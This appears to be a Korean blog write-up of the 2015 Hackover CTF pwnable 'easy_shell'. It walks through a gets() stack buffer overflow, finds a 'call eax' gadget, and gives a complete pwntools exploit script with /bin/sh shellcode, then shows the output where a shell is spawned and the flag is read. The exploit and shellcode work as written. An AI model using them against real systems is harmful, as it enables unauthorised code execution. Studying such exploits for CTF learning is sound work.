CTF_WriteUps/2015_CTF
[2015_Hackover_CTF] (Pwnable 75) easy_shell
hackability
2015. 10. 26. 18:12
최종 수정: 2015-10-26
hackability@TenDollar
안녕하세요. Hackability 입니다.
이번에 포스팅 할 내용은 2015 hackover CTF 에서 나온 easy_shell 이라는 pwnable 문제 입니다.
문제 내용은 다음과 같습니다.
Nom Nom, shell tastes goooood!
문제를 받으면 다음과 같은 바이너리를 받을 수 있습니다.
1 2 3 4 5 6 7 8 | easy_shell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=db8c496a9a78e4d2b5088ef340c422f757888559, not stripped RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH easy_shell | cs |
음냐 -_-; 하나도 안걸려 있네요... 문제에서 발생되는 버그의 위치도 명확합니다.
Main 함수에서 do_stuff 함수를 호출하는데 do_stuff 에서 명확히 버퍼 오버플로우 취약점이 발생됩니다.
1 2 3 4 5 6 7 8 9 10 | char *do_stuff() { char s; // [sp+6h] [bp-32h]@1 printf(SHELL); fflush(_bss_start); printf("nom nom, shell> "); fflush(_bss_start); return gets(&s); } | cs |
취약점이 발생되는 버퍼의 위치가 bp-32h 이기 때문에 "X" * 0x32 + "YYYY" + 덮어 쓸 EIP 주소 하면 간단히 컨트롤 할 수 있을 것 같습니다. 또한 return gets() 를 했기 때문에 저 함수의 리턴 값 (eax) 는 우리가 넣은 버퍼의 주소를 가리키고 있습니다.
따라서 공격 전략은 shellcode + "0x90" * (0x32 - len(shellcode) + 4) + (call eax 주소) 를 하면 간단히 될 것 같습니다.
call eax 가젯은 다음과 같이 구합니다.
1 2 3 | tbkim@ubuntu:~/ctf/2015_hackover$ objdump -D easy_shell | grep call | grep eax 80483e3: ff d0 call *%eax 80486cb: ff 90 00 00 00 54 call *0x54000000(%eax) | cs |
따라서 공격 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import * context.update(arch="amd64", os="linux") fn = '/home/tbkim/ctf/2015_hackover/easy_shell' env = os.environ.copy() r = process(fn, env=env) print r.proc.pid time.sleep(0.8) print r.recvuntil('nom nom, shell> ') # 80483e3: ff d0 call *%eax call_eax = 0x080483e3 shellcode = "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = shellcode + "\x90" * (0x32 - len(shellcode) + 4) + p32(call_eax) r.sendline(payload) r.interactive() | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | tbkim@ubuntu:~/ctf/2015_hackover$ python easy_shell.py [+] Started program '/home/tbkim/ctf/2015_hackover/easy_shell' 5337 .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| "----^----">> nom nom, shell> [*] Switching to interactive mode $ ls -l total 20 -rw-rw-r-- 1 tbkim tbkim 59 Oct 20 16:54 dump -rwxrwxrwx 1 tbkim tbkim 5612 Oct 16 15:54 easy_shell -rw-rw-r-- 1 tbkim tbkim 517 Oct 20 16:47 easy_shell.py -rw-rw-r-- 1 tbkim tbkim 23 Oct 20 16:48 flag $ cat flag flag{this is the flag} | cs |